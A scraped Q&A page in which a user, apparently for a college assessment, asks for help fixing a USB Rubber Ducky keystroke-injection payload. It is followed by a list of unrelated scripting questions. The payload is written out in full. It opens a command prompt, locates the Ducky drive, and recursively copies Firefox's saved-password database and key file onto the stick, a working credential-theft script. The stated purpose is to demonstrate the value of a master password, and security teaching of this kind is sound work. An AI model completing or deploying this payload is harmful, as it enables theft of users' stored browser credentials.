Ducky Script - Recurssive search

I'm creating a script for use with the Ducky USB stick from Hak5 for a college assessment. For anyone not familiar with Ducky, its a usb stick which runs a payload when you press the button on top of it.

The script is meant to highlight the need for the master password to be used on an internet browser, specifically firefox.

I think the language is a generic language like DOS, and i just need help with the recursive search line:

STRING for /R %x in (signons.sqlite, key3.db) do copy "%x" %myDrive%\

So what im trying to achieve in order:

  • change directory to appdata
  • set drive letter of the ducky drive
  • go to firefox profiles folder
  • search any file or folder in the profiles folder for these 2 files.
  • copy them to the ducky

Can anyone help?!

Kindest Regards,

DELAY 1000 CONTROL ESCAPE DELAY 1500 STRING cmd DELAY 2800 ENTER DELAY 2800 STRING cd %APPDATA% ENTER DELAY 3600 STRING for /f %D in ('wmic volume get DriveLetter^, Label ^| findstr %DUCKY%') do set myDrive=%D ENTER DELAY 3600 STRING cd %APPDATA%\Mozilla\Firefox\Profiles\ ENTER DELAY 3600 STRING for /R %x in (signons.sqlite, key3.db) do copy "%x" %myDrive%\ ENTER DELAY 3600 ENTER DELAY 3600 STRING EXIT ENTER

Category:recursion Views:0 Time:2018-05-15

Related post

  • shell script to search attribute and store value along with filename 2009-06-09

    Looking out for a shell script which searches for an attribute (a string) in all the files in current directory and stores the attribute values along with the file name. e.g File1.txt abc xyz = "pqr" File2.txt abc xyz = "klm" Here File1 and File2 con

  • script to search and replace deprecated functions 2011-01-14

    I am using the following script to search and replace the deprecated functions in a file with the newer ones. 5 for strFile in `ls deprecated_functions_search_and_replace.txt ` 6 do 7 sed "s/ereg_replace[^\(]*(\([^,]*\),/preg_replace\1('#'.\2.'#',/g"

  • Python Script to search for a file 2011-02-08

    i was going through one of the python scripts that Searches for Files and lists their permissions. Im still a learner in python, and while studying this code, i encountered the following questions: In the lines below, what is the implication of the l

  • Script to search folders for OCR's PDFs 2011-12-13

    I've written a script to search through one folder to let me know what PDF has fonts (quick way to know if it's been OCR'd unless anyone knows of a better one) What I can't do on my script is for it to search through all the folders within the main D

  • Perl: A script that searches for packages inside a directory 2013-06-14

    A bit of context: I have csv files with data that I am moving to a database using Text::CSV_XS. I have about 12 tables. Im working with a Model/ DBI wrapper module which is the parent of "Model/Data/" modules, each of them representin

  • Need Batch script to search and copy specific file from network drive 2013-12-22

    I am very new to batch scripting. I need to write a batch script to search for a specific file(usually .zip or .7z extension) located on network drive directory(containing multiple folder and sub-folders with space in name) and copy the same to my lo

  • bash script for searching from a list of files in directory 2009-11-20

    There are around 20 files in a directory . Each file has the string $str inside it. I want to write a script that picks out that row containing the string $str and dump into a file . Each file should dump the searched row into a different file . For

  • Perl Script to search and replace in .SQL query file with user inputs 2010-06-01

    I have a .SQL file containing a large number of queries. They are being run against a database containing data for multiple states over multiple years. The machine I am running this on can only handle running the queries for one state, in one year, a

  • Shell script string search where '#' is not in 1st character position 2010-11-09

    this string search was provided by Paul.R (much appreciated Paul): ** find dir -type f -print0 | xargs -0 grep -F -f strings.txt ** Note, I am using the above search argument to perform a recursive directory search for hard coded path names within sh

  • Php script to search for images and return the url 2011-03-10

    I have made a crazy (?) thought right now... Is there any script written in PHP that gets a given keyword and returns a url of a relative image? (from google, yahoo, etc) If so, may I have an example? And if not, hwo can this be made? Thanks!! ------

  • Generate an error screen in a PHP Script form searching a MySQL DB 2011-04-06

    I'm new with PHP, but I want to do some research on MySQL. I've got this code: <?php mysql_connect ("localhost", "db_user01", "******") or die (mysql_error()); mysql_select_db ("database_test"); $term = $_POST['term']; $sql = mysql_query("select *

  • Creating a greasemonkey script that searches for image: orange.png 2011-04-06

    I want to create a script that will search the entire page for an image called 'orange.png' It would run onload and need to only run once. If it finds said image it would prompt an alert box stating it found the image. I have partial code, but its no

  • awk onliner script to search files under a dir for 2 strings 2011-04-27

    I need to search for files which has string str1 appearing before string str2. both strings are in separate lines. for example, file1 looks like: abc def str1 ghi str2 file2 looks like: abc str2 def ghi str1 pqe My search should return file1. It shou

  • How to alter email2sms script to search for qualifier WARNING: blatant Plagiarism 2011-07-16

    I found a perl script that checks an email account and forwards the contents to a gsm phone. It uses below code to determine the body of the email. This can be different for each email package so doesn't really work. I was going to have a # at the be

  • Where to start with scripting project - searching a log-in only web site from term/cmd 2011-09-12

    I'm attempting to write a script for myself that will log in to a specific website and use the website's search function. The script will then write the list of search results to standard output, where I will then select one of the results and do var

  • script to search for a string in logfiles on remote machines and copy the matched text 2011-10-13

    I would like to write a script(on linux based systems) that does the following : I have a list of remote machines say for e.g mc1, mc2, mc3 and so on on each of those machines, i have a logfile say for e.g /var/log/mail.log I have a unique-id with me

  • perl script to search all files in folder 2011-10-14

    I have one folder that contains more number of xml files and extract some specific information form xml files. I used libxml to extract wanted information one xml and I succeded but now how can I extract from folder and each xml file using perl scrip

  • SQL query or script to search and replace all the old names in a database with new ones from another database 2011-12-12

    Hello I am working on a SQL database Using Microsoft SQL server 2008 R2 And Microsoft SQL Server management studio I have a Database Called FixedNamesDb On the database there is one table called All It is similar to this (this is an example): OldName

  • Script to search and embed youtube video 2012-01-03

    I am trying to get youtube videos to be automatically embedded into a webpage. The webpage has keywords already passed in from the url: /view.php?id=keywords123 These are used for creating content on a template and I need it to also display a relevan

  • bash script for searching a string already occupied in the textfile 2012-02-21

    I want to input a string through command line to bash script and output to that string to a text file with current system time as follows. outputLog.txt name1 = Tue Jan 20 14:00 19 IST 2012 name2 =Tue Jan 20 14:05 19 IST 2012 name3 = Tue Jan 20 14:20

  • shell script to search for a file and then echo contents of file 2012-02-24

    I am trying to to create a shell script to echo the contents of a file that I am not sure where to find it. I thought it would be something like: $echo | ls /* | grep file.xml where my file could be in some unknown subfolder so I am trying to search

  • Unix Script to search text files that must contain two specific keywords 2012-02-24

    SOLUTION FOUND: (thanks to Zsolt Botykai and Mike Ryan) The exact translation of the script below into an awk one-liner is: find /home/data/ -type f -exec awk '/PATTERN1/ {c++} /PATTERN2/ {d++} c>0 && d>0 {print ARGV[1] ; exit 0 } END {

  • Unix Shell Script to search directory for all media files (audio and video) 2012-04-08

    I need help i doing two things. a) Search the current directory for all media files (i.e. songs and videos) and build a list of available files to be played. b) Display an appropriate message if no media files were found and give the user the option

  • Python - Called Script is searching for a file in the Calling Script's directory 2014-11-17

    I have the following structure C:\Users\dhiwakarr\workspace\BasicRegressionOnJoker\create&&bkp\ will call a function/method defined in which is located in C:\Users\dhiwakarr\workspace\basics\ The prob

Copyright (C), All Rights Reserved.

processed in 0.291 (s). 12 q(s)